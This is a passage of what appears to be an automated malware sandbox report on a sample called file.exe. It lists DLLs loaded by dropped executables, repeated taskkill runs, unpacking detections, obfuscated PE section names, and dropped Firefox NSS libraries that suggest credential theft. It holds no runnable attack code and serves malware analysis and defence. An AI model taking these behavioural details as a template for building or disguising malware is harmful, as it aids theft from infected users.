Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1973760 > 1048576

Source: file.exe

Static PE information: Raw size of hhtplcno is bigger than: 0x100000 < 0x1afe00

Source:	Binary string: mozglue.pdbP source: 8c3bfc0f85.exe, 0000000A.00000002.3082847664.000000006C19D000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: nss3.pdb@ source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: nss3.pdb source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: mozglue.pdb source: 8c3bfc0f85.exe, 0000000A.00000002.3082847664.000000006C19D000.00000002.00000001.01000000.0000001D.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.180000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hhtplcno:EW;koagpykx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Unpacked PE file: 10.2.8c3bfc0f85.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;plxaxrgl:EW;bbsqwnst:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;plxaxrgl:EW;bbsqwnst:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Unpacked PE file: 29.2.8c3bfc0f85.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;plxaxrgl:EW;bbsqwnst:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;plxaxrgl:EW;bbsqwnst:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x4313fe should be: 0x43ec37
Source: 8c3bfc0f85.exe.6.dr	Static PE information: real checksum: 0x1ca270 should be: 0x1bb8fc
Source: 150f368769.exe.6.dr	Static PE information: real checksum: 0x4313fe should be: 0x43ec37
Source: 22a4a09ee3.exe.6.dr	Static PE information: real checksum: 0x1c126c should be: 0x1bdb22
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1e7a96 should be: 0x1e5855
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1c126c should be: 0x1bdb22
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1ca270 should be: 0x1bb8fc
Source: 99fdcf0a11.exe.6.dr	Static PE information: real checksum: 0x2b6969 should be: 0x2b7d3f
Source: file.exe	Static PE information: real checksum: 0x1e7a96 should be: 0x1e5855
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x2b6969 should be: 0x2b7d3f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hhtplcno
Source: file.exe	Static PE information: section name: koagpykx
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: hhtplcno
Source: skotes.exe.0.dr	Static PE information: section name: koagpykx
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: ajtwcbtw
Source: random[1].exe.6.dr	Static PE information: section name: jmacswze
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 150f368769.exe.6.dr	Static PE information: section name:
Source: 150f368769.exe.6.dr	Static PE information: section name: .rsrc
Source: 150f368769.exe.6.dr	Static PE information: section name: .idata
Source: 150f368769.exe.6.dr	Static PE information: section name:
Source: 150f368769.exe.6.dr	Static PE information: section name: ajtwcbtw
Source: 150f368769.exe.6.dr	Static PE information: section name: jmacswze
Source: 150f368769.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: dkoidnzf
Source: random[1].exe0.6.dr	Static PE information: section name: bgdbltjs
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name:
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name: .idata
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name:
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name: dkoidnzf
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name: bgdbltjs
Source: 22a4a09ee3.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: plxaxrgl
Source: random[1].exe1.6.dr	Static PE information: section name: bbsqwnst
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 8c3bfc0f85.exe.6.dr	Static PE information: section name:
Source: 8c3bfc0f85.exe.6.dr	Static PE information: section name: .idata
Source: 8c3bfc0f85.exe.6.dr	Static PE information: section name:
Source: 8c3bfc0f85.exe.6.dr	Static PE information: section name: plxaxrgl
Source: 8c3bfc0f85.exe.6.dr	Static PE information: section name: bbsqwnst
Source: 8c3bfc0f85.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name: icbwwxfp
Source: random[2].exe.6.dr	Static PE information: section name: jtrkmseq
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 99fdcf0a11.exe.6.dr	Static PE information: section name:
Source: 99fdcf0a11.exe.6.dr	Static PE information: section name: .idata
Source: 99fdcf0a11.exe.6.dr	Static PE information: section name: icbwwxfp
Source: 99fdcf0a11.exe.6.dr	Static PE information: section name: jtrkmseq
Source: 99fdcf0a11.exe.6.dr	Static PE information: section name: .taggant
Source: freebl3.dll.10.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.10.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.10.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.10.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.10.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.10.dr	Static PE information: section name: .didat
Source: nss3.dll.10.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.10.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.10.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.10.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0020CAB0 push 32ABAEC4h; mov dword ptr [esp], esi	2_1_0020D252
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_0020CAB0 push eax; mov dword ptr [esp], ecx	2_1_0020D25D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_1_00219030 push esi; mov dword ptr [esp], 15620C06h	2_1_002190CF
